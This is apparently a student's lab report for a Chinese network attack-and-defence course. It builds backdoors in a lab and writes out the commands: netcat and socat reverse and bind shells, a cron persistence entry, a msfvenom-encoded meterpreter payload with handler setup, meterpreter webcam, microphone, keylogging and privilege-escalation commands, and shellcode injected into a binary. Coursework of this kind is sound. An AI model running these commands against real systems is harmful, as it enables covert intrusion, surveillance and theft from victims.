20192411 2021-2022-2 《網路與系統攻防技術》實驗2實驗報告
20192411 2021-2022-2 《網路與系統攻防技術》實驗2實驗報告
目錄1.實驗內容
- 使用netcat獲取主機操作Shell,cron啟動某項任務
- 使用socat獲取主機操作Shell, 任務計劃啟動
- 使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
- 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
- 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
2.實驗過程
準備工作
-
NC或netcat
是一個底層工具,進行基本的TCP UDP資料收發。常被與其他工具結合使用,起到後門的作用。
win獲得Linux Shell:
ncat.exe -l -p 8888 #windows開啟監聽
nc 192.168.11.55 8888 -e /bin/sh #Linux反彈連線win
windows下獲得一個linux shell,可執行任何指令,如ls:
Linux獲得win Shell:
nc -l -p 8888 #Linux執行監聽指令
ncat.exe -e cmd.exe 192.168.43.93 8888 #Windows反彈連線Linux
Linux下看到Windows的命令提示:
-
cron
Cron是Linux下的定時任務,每一分鐘執行一次,根據配置檔案執行預設的指令;是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序。
表示式:
Seconds Minutes Hours DayofMonth Month DayofWeek Year或
Seconds Minutes Hours DayofMonth Month DayofWeek -
socat
可以看作是netcat的加強版,即netcat++,超級netcat工具。
socat基本語法:
socat [options] <address> <address>
address 類似於一個檔案描述符,Socat 所做的工作就是在 2 個 address 指定的描述符間建立一個pipe用於傳送和接收資料。
-
Meterpreter
Meterpreter是Metasploit框架中的一個擴充套件模組,作為溢位成功以後的攻擊載荷使用,攻擊載荷在溢位攻擊成功以後給我們返回一個控制通道。使用它作為攻擊載荷能夠獲得目標系統的一個Meterpreter shell的連結。Meterpreter shell作為滲透模組有很多有用的功能,比如新增一個使用者、隱藏一些東西、開啟shell、得到使用者密碼、上傳下載遠端主機的檔案、執行cmd.exe、捕捉螢幕、得到遠端控制權、捕獲按鍵資訊、清除應用程式、顯示遠端主機的系統資訊、顯示遠端機器的網路介面和IP地址等資訊。另外Meterpreter能夠躲避入侵檢測系統。在遠端主機上隱藏自己,它不改變系統硬碟中的檔案,因此HIDS[基於主機的入侵檢測系統]很難對它做出響應。此外它在執行的時候系統時間是變化的,所以跟蹤它或者終止它對於一個有經驗的人也會變得非常困難。
引數說明:
-p 使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這裡windows/meterpreter/reverse_tcp就是一段shellcode. -x 使用的可執行檔案模板,payload(shellcode)就寫入到這個可執行檔案中。 -e 使用的編碼器,用於對shellcode變形,為了免殺。 -i 編碼器的迭代次數。如上即使用該編碼器編碼5次。 -b badchar是payload中需要去除的字元。 LHOST 是反彈回連的IP LPORT 是回連的埠 -f 生成檔案的型別
2.1 使用netcat獲取主機操作Shell,cron啟動某項任務
-
首先獲取主機的ip地址:主機ip為192.168.43.234
-
crontab指令增加一條定時任務,"-e"表示編輯。
crontab -e
* * * * * /bin/netcat 192.168.43.234 8888 -e /bin/sh #每分鐘執行該指令
-
儲存退出後配置生效,可以通過"crontab -l"來檢視,"-l"表示list。
crontab -l
-
在主機上讓nc監聽8888埠就會獲得一個Shell
2.2 使用socat獲取主機操作Shell, 任務計劃啟動
-
利用windows的任務計劃程式來自啟動
-
觸發器,設定當前這個任務計劃在什麼條件下面觸發啟動。這裡我設定成定時啟動一次。
-
操作選擇socat.exe程式,新增引數tcp-listen:5110 exec:cmd.exe,pty,stderr。這樣會把cmd.exe繫結到埠5110,同時把cmd.exe的stderr重定向到stdout上。
- TCP-LISTEN: 建立一個 TCP 監聽埠,TCP也可以替換為UDP。
- EXEC: 執行一個程式作為資料流。
-
建立好之後,在21:45就會彈出一個cmd:
-
在kali中輸入socat - tcp:192.168.43.234:5110(不關閉主機彈出的cmd),就會獲得windows的Shell:
2.3 使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
-
在kali用MSF meterpreter生成可執行檔案20192411.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.132 LPORT=7777 -f exe > 20192411.exe
-
利用netcat將生成的檔案從kali傳給windows(需要關閉殺軟)
windows中執行命令:
ncat.exe -l 7777 > 20192411.exe
kali中執行命令:
nc 192.168.1.110 7777 < 20192411.exe
之後可以在當前資料夾中看到生成的檔案:
-
MSF開啟監聽程序
進入控制檯:
msfconsole
進入監聽模組:
use exploit/multi/handler
設定payload、ip及埠(與後門檔案一致):
set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.132 set LPORT 7777
之後可以用show options來檢視設定:
輸入exploit開始監聽,然後主機開啟傳送過來的後門程式,kali就可以獲得Shell:
2.4 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
獲取音訊:
record_mic
獲取攝像頭:
webcam_snap
截圖主機:
screenshot
記錄主機鍵盤記錄:
keyscan_start #開始記錄
keyscan_dump #讀取記錄
提權:
getuid #檢視當前使用者
getsystem #提權
第一次提權失敗,通過百度(問題2),將生成的檔名改成windows_update就可以成功提權了。
音訊、攝像頭、截圖、按鍵記錄以及提權結果:
2.5 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
-
利用msf生成shellcode並注入目標檔案:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=7777 -x /home/hezhangrong/桌面/pwn20192411 -f elf > pwn20192411_shell
-
之後在該埠進入msf控制檯,設定payload等後開啟監聽,然後開啟另一個終端執行注入的檔案,即可在監聽的終端獲得shell:
3.問題及解決方案
-
問題1:2.5中,提示要執行的檔案許可權不夠。
-
問題1解決方案:利用chmod a+x將其提權,從而執行。
-
問題2:2.4中提權失敗
-
問題2解決方案:(9條訊息) meterpreter之getsystem命令提權詳解_redwand的部落格-CSDN部落格_getsystem
4.學習感悟、思考等
這次實驗讓我更清楚地認識到安全的重要性。要想保證安全一定要十分小心謹慎,面對多樣的攻擊手段,我們要積極主動地學習,才能在面對這類行為的時候不落下風。
5.回答問題
-
例舉你能想到的一個後門進入到你係統中的可能方式?
在奇怪的網站下載盜版之類的軟體,可能就會攜帶後門。
-
例舉你知道的後門如何啟動起來(win及linux)的方式?
windows:開機自啟動,任務計劃定時;
Linux:通過cron定時啟動。
-
Meterpreter有哪些給你映像深刻的功能?
能夠對檔案進行shellcode注入,在獲取到shell後還可以窺屏、竊聽、攝像,功能十分強大!
-
如何發現自己有系統有沒有被安裝後門?
防毒軟體定時查殺,從正規網站下載正規軟體。